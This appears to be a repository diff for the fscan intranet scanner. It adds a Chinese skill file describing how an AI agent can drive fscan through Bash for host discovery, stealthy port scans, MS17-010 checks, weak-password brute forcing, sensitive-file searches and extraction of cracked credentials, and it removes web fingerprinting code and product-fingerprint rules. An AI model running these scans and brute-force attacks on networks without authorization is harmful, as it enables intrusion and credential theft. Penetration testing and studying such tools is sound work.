[+] 2020/12/12 The yaml parsing engine has been added to support the poc of xray. By default, all the poc are used (the poc of xray has been filtered). You can use - pocname weblogic, and only one or some poc is used. Need go version 1.16 or above, and can only compile the latest version of go for testing.
[+] 2020/12/6 Optimize the icmp module and add the -domain parameter (for the smb blasting module, applicable to domain users)
[+] 2020/12/03 Optimize the ip segment processing module, icmp, port scanning module. 192.168.1.1-192.168.255.255 is supported.
[+] 2020/11/17 The -ping parameter is added to replace icmp packets with ping in the survival detection module.
[+] 2020/11/17 WebScan module and shiro simple recognition are added. Skip certificate authentication during https access. Separate the timeout of the service module and the web module, and add the -wt parameter (WebTimeout).
[+] 2020/11/16 Optimize the icmp module and add the -it parameter (IcmpThreads). The default value is 11000, which is suitable for scanning section B.
[+] 2020/11/15 Support importt ip from file, -hf ip.txt, and process de duplication ips.
[url-doczh]: README.md
- https://github.com/Adminisme/ServerScan
- https://github.com/netxfly/x-crack
- https://github.com/hack2fun/Gscan
- https://github.com/k8gege/LadonGo
- https://github.com/jjf012/gopoc
- https://github.com/chainreactors/gogo
- https://github.com/0x727/FingerprintHub
- https://github.com/killmonday/fscanx
+304
View File
@@ -0,0 +1,304 @@
---
name: fscan-agent
description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出,适合 AI agent 管道消费。
argument-hint: <目标IP/网段> [附加参数]
allowed-tools: Bash, Read, Agent
---
# Fscan AI Agent Skill
## 工具概述
Fscan 是一款内网综合扫描工具,功能包括:
- 主机存活探测(ICMP / TCP
- 端口扫描与服务识别
- 漏洞检测(MS17-010、Redis 未授权等)
- 弱口令爆破(SSH、SMB、MySQL、MSSQL、FTP、RDP 等)
- Web 指纹识别与 POC 扫描
- NetBIOS / SMB 信息收集
- 本地信息收集(杀软检测、系统信息等)
二进制路径:当前项目编译产物 `fscan_cli`,或系统 PATH 中的 `fscan`
## 调用格式
```bash
# AI agent 标准用法:NDJSON 输出,无人类日志干扰
fscan -h <目标> -silent [其他参数]
# 解析输出
fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
```
## 核心参数
### 目标指定
| 参数 | 说明 | 示例 |
|------|------|------|
| `-h` | 目标主机(IP / CIDR / 范围) | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` |
| `-hf` | 从文件读取目标 | `-hf targets.txt` |
| `-p` | 指定端口(逗号/范围) | `-p 22,80,443,445,3306` `-p 1-1000` |
| `-ep` | 排除端口 | `-ep 25,110` |
| `-eh` | 排除主机 | `-eh 192.168.1.1` |
| `-u` | 指定 URLWeb 扫描) | `-u https://example.com` |
| `-uf` | URL 文件 | `-uf urls.txt` |
### 扫描控制
| 参数 | 说明 | 默认值 |
|------|------|--------|
| `-m` | 扫描模式 | `all` |
| `-t` | 端口扫描线程数 | `600` |
| `-mt` | 模块线程数 | `20` |
| `-time` | 连接超时(秒) | `3` |
| `-gt` | 全局超时(秒) | `180` |
| `-np` | 跳过存活检测 | `false` |
| `-ntp` | 禁用 TCP 补充探测 | `false` |
| `-ao` | 仅存活检测 | `false` |
| `-nobr` | 禁用暴力破解 | `false` |
| `-full` | 全量 POC 扫描 | `false` |
| `-max-retries` | 最大重试次数 | `1` |
### 认证
| 参数 | 说明 |
|------|------|
| `-user` | 用户名 |
| `-pwd` | 密码 |
| `-usera` | 追加用户名 |
| `-pwda` | 追加密码,支持逗号或空格分隔多个值 |
| `-userf` | 用户名字典文件 |
| `-pwdf` | 密码字典文件 |
| `-domain` | 域名(SMB/WMI |
| `-sshkey` | SSH 私钥文件 |
| `-hash` / `-hashf` | NTLM Hash / Hash 文件 |
### 代理
| 参数 | 说明 |
|------|------|
| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) |
| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) |
| `-iface` | 指定本地网卡 IP(VPN 场景) |
### 输出
| 参数 | 说明 |
|------|------|
| `-silent` | 静默模式:stdout 仅输出 NDJSON |
| `-o` | 输出文件路径(默认 `result.txt` |
| `-f` | 输出格式:`txt` / `json` / `csv` |
| `-no` | 禁用文件保存 |
| `-debug` | 调试模式:日志写入 `fscan_debug.log` |
| `-log` | 日志级别(`debug` / `info` / `base` / `error` |
### 扫描模式 `-m` 的取值
| 值 | 说明 |
|------|------|
| `all` | 全部扫描(默认) |
| `icmp` | 仅 ICMP 存活检测 |
| 插件名 | 仅运行指定插件(如 `ssh``smb``ms17010``webtitle` |
## 服务插件列表
| 插件 | 默认端口 | 功能 |
|------|----------|------|
| `ftp` | 21 | FTP 弱口令 |
| `ssh` | 22 | SSH 弱口令 |
| `telnet` | 23 | Telnet 弱口令 |
| `smtp` | 25 | SMTP 弱口令 |
| `findnet` | 135 | RPC 网络信息发现(NetInfo |
| `netbios` | 139 | NetBIOS 信息收集 |
| `smb` | 445 | SMB 弱口令 |
| `ms17010` | 445 | MS17-010 永恒之蓝检测 |
| `ldap` | 389 | LDAP 弱口令 |
| `mssql` | 1433 | MSSQL 弱口令 |
| `oracle` | 1521 | Oracle 弱口令 |
| `mysql` | 3306 | MySQL 弱口令 |
| `rdp` | 3389 | RDP 弱口令 + 系统信息 |
| `postgresql` | 5432 | PostgreSQL 弱口令 |
| `vnc` | 5900 | VNC 弱口令 |
| `redis` | 6379 | Redis 未授权 + 弱口令 |
| `elasticsearch` | 9200 | ES 未授权 |
| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 |
| `memcached` | 11211 | Memcached 未授权 |
| `kafka` | 9092 | Kafka 未授权 |
| `activemq` | 61616 | ActiveMQ 弱口令 |
| `rabbitmq` | 5672 | RabbitMQ 弱口令 |
| `cassandra` | 9042 | Cassandra 弱口令 |
| `neo4j` | 7687 | Neo4j 弱口令 |
| `rsync` | 873 | Rsync 未授权 |
| `webtitle` | 80/443 | Web 标题 + 指纹识别 |
| `webpoc` | 80/443 | Web 漏洞 POC |
## 本地插件(`-local`
```bash
fscan -local avdetect # 杀软检测
fscan -local systeminfo # 系统信息收集
fscan -local envinfo # 环境变量信息
fscan -local dcinfo # 域控信息
fscan -local fileinfo # 敏感文件搜索
```
## NDJSON 输出 Schema`-silent` 模式)
每行一个 JSON 对象,所有字段定义:
| 字段 | 类型 | 出现条件 | 说明 |
|------|------|----------|------|
| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` |
| `target` | string | 必有 | 原始目标 `host``host:port` |
| `status` | string | 必有 | 状态描述 |
| `host` | string | 必有 | IP 地址 |
| `port` | int | PORT/SERVICE/VULN | 端口号 |
| `service` | string | SERVICE/VULN | 服务名(ssh, smb, http 等) |
| `protocol` | string | HOST/SERVICE | 协议(ICMP, TCP, http, https |
| `banner` | string | SERVICE | 服务 Banner |
| `title` | string | SERVICE (web) | 网页标题 |
| `url` | string | SERVICE (web) | 完整 URL |
| `vulnerability` | string | VULN | 漏洞名称 |
| `username` | string | VULN (弱口令) | 用户名 |
| `password` | string | VULN (弱口令) | 密码 |
| `plugin` | string | SERVICE/VULN | 产生结果的插件名 |
| `version` | string | SERVICE | 服务版本号 |
| `os` | string | SERVICE | 操作系统信息 |
### 输出示例
```jsonl
{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"}
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22}
{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445}
{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"}
{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"}
{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"}
{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"}
{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"}
```
### 结果产出顺序
1. `HOST` — 存活探测阶段
2. `PORT` — 端口扫描阶段(与 SERVICE 可能交错)
3. `SERVICE` — 服务识别阶段
4. `VULN` — 漏洞/弱口令检测阶段
同一 `host:port` 可产生多条结果(PORT + SERVICE + VULN)。
## 常用场景参数组合
### 全网段快速扫描
```bash
fscan -h 192.168.1.0/24 -silent
```
### 跳过存活检测直接扫端口(目标明确时)
```bash
fscan -h 192.168.1.0/24 -silent -np
```
### 指定端口精确扫描
```bash
fscan -h 10.0.0.0/24 -silent -p 22,80,443,445,3389,3306,6379
```
### 仅存活探测
```bash
fscan -h 172.16.0.0/16 -silent -m icmp
```
### 低速隐蔽扫描
```bash
fscan -h 192.168.1.0/24 -silent -t 30 -time 5
```
### 通过 SOCKS5 代理扫描内网
```bash
fscan -h 10.0.0.0/24 -silent -socks5 127.0.0.1:1080
```
### 仅做弱口令检测
```bash
fscan -h 192.168.1.10 -silent -m ssh -user root -pwdf /path/to/passwords.txt
```
### Web 目标扫描
```bash
fscan -u https://target.com -silent -full
```
### 多目标文件批量扫描
```bash
fscan -hf targets.txt -silent -o results.json -f json
```
### 带调试日志的排障扫描
```bash
# NDJSON 到 stdoutdebug 日志到文件,互不干扰
fscan -h 192.168.1.0/24 -silent -debug
# 事后查看:cat fscan_debug.log
```
## AI Agent 结果处理
### Python 管道消费
```python
import json, subprocess
proc = subprocess.Popen(
["fscan", "-h", "192.168.1.0/24", "-silent"],
stdout=subprocess.PIPE, text=True
)
hosts, services, vulns = [], [], []
for line in proc.stdout:
r = json.loads(line)
if r["type"] == "HOST":
hosts.append(r["host"])
elif r["type"] == "SERVICE":
services.append(r)
elif r["type"] == "VULN":
vulns.append(r)
proc.wait()
```
### jq 过滤
```bash
# 提取所有弱口令
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.username != null) | "\(.host):\(.port) \(.service) \(.username):\(.password)"'
# 提取所有漏洞
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="VULN") | "\(.host):\(.port) \(.vulnerability)"'
# 提取 Web 服务
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.url != null) | "\(.url) \(.title)"'
# 统计开放端口
fscan -h 10.0.0.0/24 -silent | jq -r 'select(.type=="PORT") | .port' | sort -n | uniq -c | sort -rn
```
## 注意事项
- `-silent` 抑制所有人类可读日志,stdout 仅输出 NDJSON
- 空字段不出现在 JSON 中(`omitempty`
- 进程退出码 `0` 正常完成,非 `0` 表示参数错误或初始化失败
- `-silent``-debug` 可同时使用,互不干扰
- SOCKS5 代理下 fscan 信任协议层连接结果,不做额外深度验证
- 扫描大网段时线程数会自动调整,资源耗尽时自适应降级
- 默认超时 3 秒,防火墙 drop 的端口会静默超时,不计入失败率
-98
View File
@@ -1,98 +0,0 @@
package WebScan
import (
"crypto/md5"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/info"
"regexp"
)
// CheckDatas 存储HTTP响应的检查数据
type CheckDatas struct {
Body []byte // 响应体
Headers string // 响应头
}
// InfoCheck 检查URL的指纹信息
func InfoCheck(Url string, CheckData *[]CheckDatas) []string {
var matchedInfos []string
// 遍历检查数据
for _, data := range *CheckData {
// 规则匹配检查
for _, rule := range info.RuleDatas {
var matched bool
var err error
// 根据规则类型选择匹配内容
switch rule.Type {
case "code":
matched, err = regexp.MatchString(rule.Rule, string(data.Body))
default:
matched, err = regexp.MatchString(rule.Rule, data.Headers)
}
// 处理匹配错误
if err != nil {
Common.LogError(fmt.Sprintf("规则匹配错误 [%s]: %v", rule.Name, err))
continue
}
// 添加匹配成功的规则名
if matched {
matchedInfos = append(matchedInfos, rule.Name)
}
}
// MD5匹配检查暂时注释
/*
if flag, name := CalcMd5(data.Body); flag {
matchedInfos = append(matchedInfos, name)
}
*/
}
// 去重处理
matchedInfos = removeDuplicateElement(matchedInfos)
// 输出结果
if len(matchedInfos) > 0 {
result := fmt.Sprintf("[+] 发现指纹 目标: %-25v 指纹: %s", Url, matchedInfos)
Common.LogSuccess(result)
return matchedInfos
}
return []string{""}
}
// CalcMd5 计算内容的MD5并与指纹库比对
func CalcMd5(Body []byte) (bool, string) {
contentMd5 := fmt.Sprintf("%x", md5.Sum(Body))
// 比对MD5指纹库
for _, md5Info := range info.Md5Datas {
if contentMd5 == md5Info.Md5Str {
return true, md5Info.Name
}
}
return false, ""
}
// removeDuplicateElement 移除切片中的重复元素
func removeDuplicateElement(items []string) []string {
// 预分配空间
result := make([]string, 0, len(items))
seen := make(map[string]struct{}, len(items))
// 使用map去重
for _, item := range items {
if _, exists := seen[item]; !exists {
seen[item] = struct{}{}
result = append(result, item)
}
}
return result
}
-119
View File
@@ -1,119 +0,0 @@
package WebScan
import (
"embed"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
)
//go:embed pocs
var Pocs embed.FS
var once sync.Once
var AllPocs []*lib.Poc
// WebScan 执行Web漏洞扫描
func WebScan(info *Common.HostInfo) {
// 确保POC只初始化一次
once.Do(initpoc)
// 构建扫描信息
var pocinfo = Common.Pocinfo
urlParts := strings.Split(info.Url, "/")
pocinfo.Target = strings.Join(urlParts[:3], "/")
// 执行扫描
if pocinfo.PocName != "" {
// 指定POC扫描
Execute(pocinfo)
} else {
// 根据指纹信息选择POC扫描
for _, infostr := range info.Infostr {
pocinfo.PocName = lib.CheckInfoPoc(infostr)
Execute(pocinfo)
}
}
}
// Execute 执行具体的POC检测
func Execute(PocInfo Common.PocInfo) {
// 创建基础HTTP请求
req, err := http.NewRequest("GET", PocInfo.Target, nil)
if err != nil {
Common.LogError(fmt.Sprintf("初始化请求失败 %v: %v", PocInfo.Target, err))
return
}
// 设置请求头
req.Header.Set("User-agent", Common.UserAgent)
req.Header.Set("Accept", Common.Accept)
req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9")
if Common.Cookie != "" {
req.Header.Set("Cookie", Common.Cookie)
}
// 根据名称筛选POC并执行
pocs := filterPoc(PocInfo.PocName)
lib.CheckMultiPoc(req, pocs, Common.PocNum)
}
// initpoc 初始化POC加载
func initpoc() {
if Common.PocPath == "" {
// 从嵌入的POC目录加载
entries, err := Pocs.ReadDir("pocs")
if err != nil {
Common.LogError(fmt.Sprintf("加载内置POC失败: %v", err))
return
}
// 加载YAML格式的POC文件
for _, entry := range entries {
filename := entry.Name()
if strings.HasSuffix(filename, ".yaml") || strings.HasSuffix(filename, ".yml") {
if poc, err := lib.LoadPoc(filename, Pocs); err == nil && poc != nil {
AllPocs = append(AllPocs, poc)
}
}
}
} else {
// 从指定目录加载POC
Common.LogSuccess(fmt.Sprintf("[*] 从目录加载POC: %s", Common.PocPath))
err := filepath.Walk(Common.PocPath, func(path string, info os.FileInfo, err error) error {
if err != nil || info == nil {
return err
}
if !info.IsDir() && (strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml")) {
if poc, err := lib.LoadPocbyPath(path); err == nil && poc != nil {
AllPocs = append(AllPocs, poc)
}
}
return nil
})
if err != nil {
Common.LogError(fmt.Sprintf("[-] 加载外部POC失败: %v", err))
}
}
}
// filterPoc 根据POC名称筛选
func filterPoc(pocname string) []*lib.Poc {
if pocname == "" {
return AllPocs
}
var matchedPocs []*lib.Poc
for _, poc := range AllPocs {
if strings.Contains(poc.Name, pocname) {
matchedPocs = append(matchedPocs, poc)
}
}
return matchedPocs
}
-314
View File
@@ -1,314 +0,0 @@
package info
type RuleData struct {
Name string
Type string
Rule string
}
type Md5Data struct {
Name string
Md5Str string
}
type PocData struct {
Name string
Alias string
}
var RuleDatas = []RuleData{
{"宝塔", "code", "(app.bt.cn/static/app.png|安全入口校验失败|<title>入口校验失败</title>|href=\"http://www.bt.cn/bbs)"},
{"深信服防火墙类产品", "code", "(SANGFOR FW)"},
{"360网站卫士", "code", "(webscan.360.cn/status/pai/hash|wzws-waf-cgi|zhuji.360.cn/guard/firewall/stopattack.html)"},
{"360网站卫士", "headers", "(360wzws|CWAP-waf|zhuji.360.cn|X-Safe-Firewall)"},
{"绿盟防火墙", "code", "(NSFOCUS NF)"},
{"绿盟防火墙", "headers", "(NSFocus)"},
{"Topsec-Waf", "index", `(<META NAME="Copyright" CONTENT="Topsec Network Security Technology Co.,Ltd"/>","<META NAME="DESCRIPTION" CONTENT="Topsec web UI"/>)`},
{"Anquanbao", "headers", "(Anquanbao)"},
{"BaiduYunjiasu", "headers", "(yunjiasu)"},
{"BigIP", "headers", "(BigIP|BIGipServer)"},
{"BinarySEC", "headers", "(binarysec)"},
{"BlockDoS", "headers", "(BlockDos.net)"},
{"CloudFlare", "headers", "(cloudflare)"},
{"Cloudfront", "headers", "(cloudfront)"},
{"Comodo", "headers", "(Protected by COMODO)"},
{"IBM-DataPower", "headers", "(X-Backside-Transport)"},
{"DenyAll", "headers", "(sessioncookie=)"},
{"dotDefender", "headers", "(dotDefender)"},
{"Incapsula", "headers", "(X-CDN|Incapsula)"},
{"Jiasule", "headers", "(jsluid=)"},
{"KONA", "headers", "(AkamaiGHost)"},
{"ModSecurity", "headers", "(Mod_Security|NOYB)"},
{"NetContinuum", "headers", "(Cneonction|nnCoection|citrix_ns_id)"},
{"Newdefend", "headers", "(newdefend)"},
{"Safe3", "headers", "(Safe3WAF|Safe3 Web Firewall)"},
{"Safedog", "code", "(404.safedog.cn/images/safedogsite/broswer_logo.jpg)"},
{"Safedog", "headers", "(Safedog|WAF/2.0)"},
{"SonicWALL", "headers", "(SonicWALL)"},
{"Stingray", "headers", "(X-Mapping-)"},
{"Sucuri", "headers", "(Sucuri/Cloudproxy)"},
{"Usp-Sec", "headers", "(Secure Entry Server)"},
{"Varnish", "headers", "(varnish)"},
{"Wallarm", "headers", "(wallarm)"},
{"阿里云", "code", "(errors.aliyun.com)"},
{"WebKnight", "headers", "(WebKnight)"},
{"Yundun", "headers", "(YUNDUN)"},
{"Yunsuo", "headers", "(yunsuo)"},
{"Coding pages", "header", "(Coding Pages)"},
{"启明防火墙", "code", "(/cgi-bin/webui?op=get_product_model)"},
{"Shiro", "headers", "(=deleteMe|rememberMe=)"},
{"Portainer(Docker管理)", "code", "(portainer.updatePassword|portainer.init.admin)"},
{"Gogs简易Git服务", "cookie", "(i_like_gogs)"},
{"Gitea简易Git服务", "cookie", "(i_like_gitea)"},
{"Nexus", "code", "(Nexus Repository Manager)"},
{"Nexus", "cookie", "(NX-ANTI-CSRF-TOKEN)"},
{"Harbor", "code", "(<title>Harbor</title>)"},
{"Harbor", "cookie", "(harbor-lang)"},
{"禅道", "code", "(/theme/default/images/main/zt-logo.png|/zentao/theme/zui/css/min.css)"},
{"禅道", "cookie", "(zentaosid)"},
{"协众OA", "code", "(Powered by 协众OA)"},
{"协众OA", "cookie", "(CNOAOASESSID)"},
{"xxl-job", "code", "(分布式任务调度平台XXL-JOB)"},
{"atmail-WebMail", "cookie", "(atmail6)"},
{"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"},
{"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|<i>Hypertext Transfer Protocol -- HTTP/1.1</i>)"},
{"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"},
{"discuz", "code", "(content=\"Discuz! X\")"},
{"Typecho", "code", "(Typecho</a>)"},
{"金蝶EAS", "code", "(easSessionId)"},
{"phpMyAdmin", "cookie", "(pma_lang|phpMyAdmin)"},
{"phpMyAdmin", "code", "(/themes/pmahomme/img/logo_right.png)"},
{"H3C-AM8000", "code", "(AM8000)"},
{"360企业版", "code", "(360EntWebAdminMD5Secret)"},
{"H3C公司产品", "code", "([email protected])"},
{"H3C ICG 1000", "code", "(ICG 1000系统管理)"},
{"Citrix-Metaframe", "code", "(window.location=\"/Citrix/MetaFrame)"},
{"H3C ER5100", "code", "(ER5100系统管理)"},
{"阿里云CDN", "code", "(cdn.aliyuncs.com)"},
{"CISCO_EPC3925", "code", "(Docsis_system)"},
{"CISCO ASR", "code", "(CISCO ASR)"},
{"H3C ER3200", "code", "(ER3200系统管理)"},
{"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"},
{"Spark_Master", "code", "(Spark Master at)"},
{"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"},
{"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"},
{"深信服ssl-vpn", "code", "(login_psw.csp)"},
{"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"},
{"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"},
{"juniper_vpn", "code", "(welcome.cgi?p=logo|/images/logo_juniper_reversed.gif)"},
{"360主机卫士", "headers", "(zhuji.360.cn)"},
{"Nagios", "headers", "(Nagios Access)"},
{"H3C ER8300", "code", "(ER8300系统管理)"},
{"Citrix-Access-Gateway", "code", "(Citrix Access Gateway)"},
{"华为 MCU", "code", "(McuR5-min.js)"},
{"TP-LINK Wireless WDR3600", "code", "(TP-LINK Wireless WDR3600)"},
{"泛微OA", "headers", "(ecology_JSessionid)"},
{"泛微OA", "code", "(/spa/portal/public/index.js)"},
{"华为_HUAWEI_ASG2050", "code", "(HUAWEI ASG2050)"},
{"360网站卫士", "code", "(360wzb)"},
{"Citrix-XenServer", "code", "(Citrix Systems, Inc. XenServer)"},
{"H3C ER2100V2", "code", "(ER2100V2系统管理)"},
{"zabbix", "cookie", "(zbx_sessionid)"},
{"zabbix", "code", "(images/general/zabbix.ico|Zabbix SIA|zabbix-server: Zabbix)"},
{"CISCO_VPN", "headers", "(webvpn)"},
{"360站长平台", "code", "(360-site-verification)"},
{"H3C ER3108GW", "code", "(ER3108GW系统管理)"},
{"o2security_vpn", "headers", "(client_param=install_active)"},
{"H3C ER3260G2", "code", "(ER3260G2系统管理)"},
{"H3C ICG1000", "code", "(ICG1000系统管理)"},
{"CISCO-CX20", "code", "(CISCO-CX20)"},
{"H3C ER5200", "code", "(ER5200系统管理)"},
{"linksys-vpn-bragap14-parintins", "code", "(linksys-vpn-bragap14-parintins)"},
{"360网站卫士常用前端公共库", "code", "(libs.useso.com)"},
{"H3C ER3100", "code", "(ER3100系统管理)"},
{"H3C-SecBlade-FireWall", "code", "(js/MulPlatAPI.js)"},
{"360webfacil_360WebManager", "code", "(publico/template/)"},
{"Citrix_Netscaler", "code", "(ns_af)"},
{"H3C ER6300G2", "code", "(ER6300G2系统管理)"},
{"H3C ER3260", "code", "(ER3260系统管理)"},
{"华为_HUAWEI_SRG3250", "code", "(HUAWEI SRG3250)"},
{"exchange", "code", "(/owa/auth.owa|Exchange Admin Center)"},
{"Spark_Worker", "code", "(Spark Worker at)"},
{"H3C ER3108G", "code", "(ER3108G系统管理)"},
{"Citrix-ConfProxy", "code", "(confproxy)"},
{"360网站安全检测", "code", "(webscan.360.cn/status/pai/hash)"},
{"H3C ER5200G2", "code", "(ER5200G2系统管理)"},
{"华为(HUAWEI)安全设备", "code", "(sweb-lib/resource/)"},
{"华为(HUAWEIUSG", "code", "(UI_component/commonDefine/UI_regex_define.js)"},
{"H3C ER6300", "code", "(ER6300系统管理)"},
{"华为_HUAWEI_ASG2100", "code", "(HUAWEI ASG2100)"},
{"TP-Link 3600 DD-WRT", "code", "(TP-Link 3600 DD-WRT)"},
{"NETGEAR WNDR3600", "code", "(NETGEAR WNDR3600)"},
{"H3C ER2100", "code", "(ER2100系统管理)"},
{"jira", "code", "(jira.webresources)"},
{"金和协同管理平台", "code", "(金和协同管理平台)"},
{"Citrix-NetScaler", "code", "(NS-CACHE)"},
{"linksys-vpn", "headers", "(linksys-vpn)"},
{"通达OA", "code", "(/static/images/tongda.ico|http://www.tongda2000.com|通达OA移动版|Office Anywhere)"},
{"华为(HUAWEISecoway设备", "code", "(Secoway)"},
{"华为_HUAWEI_SRG1220", "code", "(HUAWEI SRG1220)"},
{"H3C ER2100n", "code", "(ER2100n系统管理)"},
{"H3C ER8300G2", "code", "(ER8300G2系统管理)"},
{"金蝶政务GSiS", "code", "(/kdgs/script/kdgs.js)"},
{"Jboss", "code", "(Welcome to JBoss|jboss.css)"},
{"Jboss", "headers", "(JBoss)"},
{"泛微E-mobile", "code", "(Weaver E-mobile|weaver,e-mobile)"},
{"泛微E-mobile", "headers", "(EMobileServer)"},
{"齐治堡垒机", "code", "(logo-icon-ico72.png|resources/themes/images/logo-login.png)"},
{"ThinkPHP", "headers", "(ThinkPHP)"},
{"ThinkPHP", "code", "(/Public/static/js/)"},
{"weaver-ebridge", "code", "(e-Bridge,http://wx.weaver)"},
{"Laravel", "headers", "(laravel_session)"},
{"DWR", "code", "(dwr/engine.js)"},
{"swagger_ui", "code", "(swagger-ui/css|\"swagger\":|swagger-ui.min.js)"},
{"大汉版通发布系统", "code", "(大汉版通发布系统|大汉网络)"},
{"druid", "code", "(druid.index|DruidDrivers|DruidVersion|Druid Stat Index)"},
{"Jenkins", "code", "(Jenkins)"},
{"红帆OA", "code", "(iOffice)"},
{"VMware vSphere", "code", "(VMware vSphere)"},
{"打印机", "code", "(打印机|media/canon.gif)"},
{"finereport", "code", "(isSupportForgetPwd|FineReport,Web Reporting Tool)"},
{"蓝凌OA", "code", "(蓝凌软件|StylePath:\"/resource/style/default/\"|/resource/customization|sys/ui/extend/theme/default/style/profile.css|sys/ui/extend/theme/default/style/icon.css)"},
{"GitLab", "code", "(href=\"https://about.gitlab.com/)"},
{"Jquery-1.7.2", "code", "(/webui/js/jquerylib/jquery-1.7.2.min.js)"},
{"Hadoop Applications", "code", "(/cluster/app/application)"},
{"海昌OA", "code", "(/loginmain4/js/jquery.min.js)"},
{"帆软报表", "code", "(WebReport/login.html|ReportServer)"},
{"帆软报表", "headers", "(数据决策系统)"},
{"华夏ERP", "headers", "(华夏ERP)"},
{"金和OA", "cookie", "(ASPSESSIONIDSSCDTDBS)"},
{"久其财务报表", "code", "(netrep/login.jsp|/netrep/intf)"},
{"若依管理系统", "code", "(ruoyi/login.js|ruoyi/js/ry-ui.js)"},
{"启莱OA", "code", "(js/jQselect.js|js/jquery-1.4.2.min.js)"},
{"智慧校园管理系统", "code", "(DC_Login/QYSignUp)"},
{"JQuery-1.7.2", "code", "(webui/js/jquerylib/jquery-1.7.2.min.js)"},
{"浪潮 ClusterEngineV4.0", "code", "(0;url=module/login/login.html)"},
{"会捷通云视讯平台", "code", "(him/api/rest/v1.0/node/role|him.app)"},
{"源码泄露账号密码 F12查看", "code", "(get_dkey_passwd)"},
{"Smartbi Insight", "code", "(smartbi.gcf.gcfutil)"},
{"汉王人脸考勤管理系统", "code", "(汉王人脸考勤管理系统|/Content/image/hanvan.png|/Content/image/hvicon.ico)"},
{"亿赛通-电子文档安全管理系统", "code", "(电子文档安全管理系统|/CDGServer3/index.jsp|/CDGServer3/SysConfig.jsp|/CDGServer3/help/getEditionInfo.jsp)"},
{"天融信 TopApp-LB 负载均衡系统", "code", "(TopApp-LB 负载均衡系统)"},
{"中新金盾信息安全管理系统", "code", "(中新金盾信息安全管理系统|中新网络信息安全股份有限公司)"},
{"好视通", "code", "(深圳银澎云计算有限公司|itunes.apple.com/us/app/id549407870|hao-shi-tong-yun-hui-yi-yuan)"},
{"蓝海卓越计费管理系统", "code", "(蓝海卓越计费管理系统|星锐蓝海网络科技有限公司)"},
{"和信创天云桌面系统", "code", "(和信下一代云桌面VENGD|/vesystem/index.php)"},
{"金山", "code", "(北京猎鹰安全科技有限公司|金山终端安全系统V9.0Web控制台|北京金山安全管理系统技术有限公司|金山V8)"},
{"WIFISKY-7层流控路由器", "code", "(深圳市领空技术有限公司|WIFISKY 7层流控路由器)"},
{"MetInfo-米拓建站", "code", "(MetInfo|/skin/style/metinfo.css|/skin/style/metinfo-v2.css)"},
{"IBM-Lotus-Domino", "code", "(/mailjump.nsf|/domcfg.nsf|/names.nsf|/homepage.nsf)"},
{"APACHE-kylin", "code", "(url=kylin)"},
{"C-Lodop打印服务系统", "code", "(/CLodopfuncs.js|www.c-lodop.com)"},
{"HFS", "code", "(href=\"http://www.rejetto.com/hfs/)"},
{"Jellyfin", "code", "(content=\"http://jellyfin.org\")"},
{"FIT2CLOUD-JumpServer-堡垒机", "code", "(<title>JumpServer</title>)"},
{"Alibaba Nacos", "code", "(<title>Nacos</title>)"},
{"Nagios", "headers", "(nagios admin)"},
{"Pulse Connect Secure", "code", "(/dana-na/imgs/space.gif)"},
{"h5ai", "code", "(powered by h5ai)"},
{"jeesite", "cookie", "(jeesite.session.id)"},
{"拓尔思SSO", "cookie", "(trsidsssosessionid)"},
{"拓尔思WCMv7/6", "cookie", "(com.trs.idm.coSessionId)"},
{"天融信脆弱性扫描与管理系统", "code", "(/js/report/horizontalReportPanel.js)"},
{"天融信网络审计系统", "code", "(onclick=dlg_download())"},
{"天融信日志收集与分析系统", "code", "(天融信日志收集与分析系统)"},
{"URP教务系统", "code", "(北京清元优软科技有限公司)"},
{"科来RAS", "code", "(科来软件 版权所有|i18ninit.min.js)"},
{"正方OA", "code", "(zfoausername)"},
{"希尔OA", "code", "(/heeroa/login.do)"},
{"泛普建筑工程施工OA", "code", "(/dwr/interface/LoginService.js)"},
{"中望OA", "code", "(/IMAGES/default/first/xtoa_logo.png|/app_qjuserinfo/qjuserinfoadd.jsp)"},
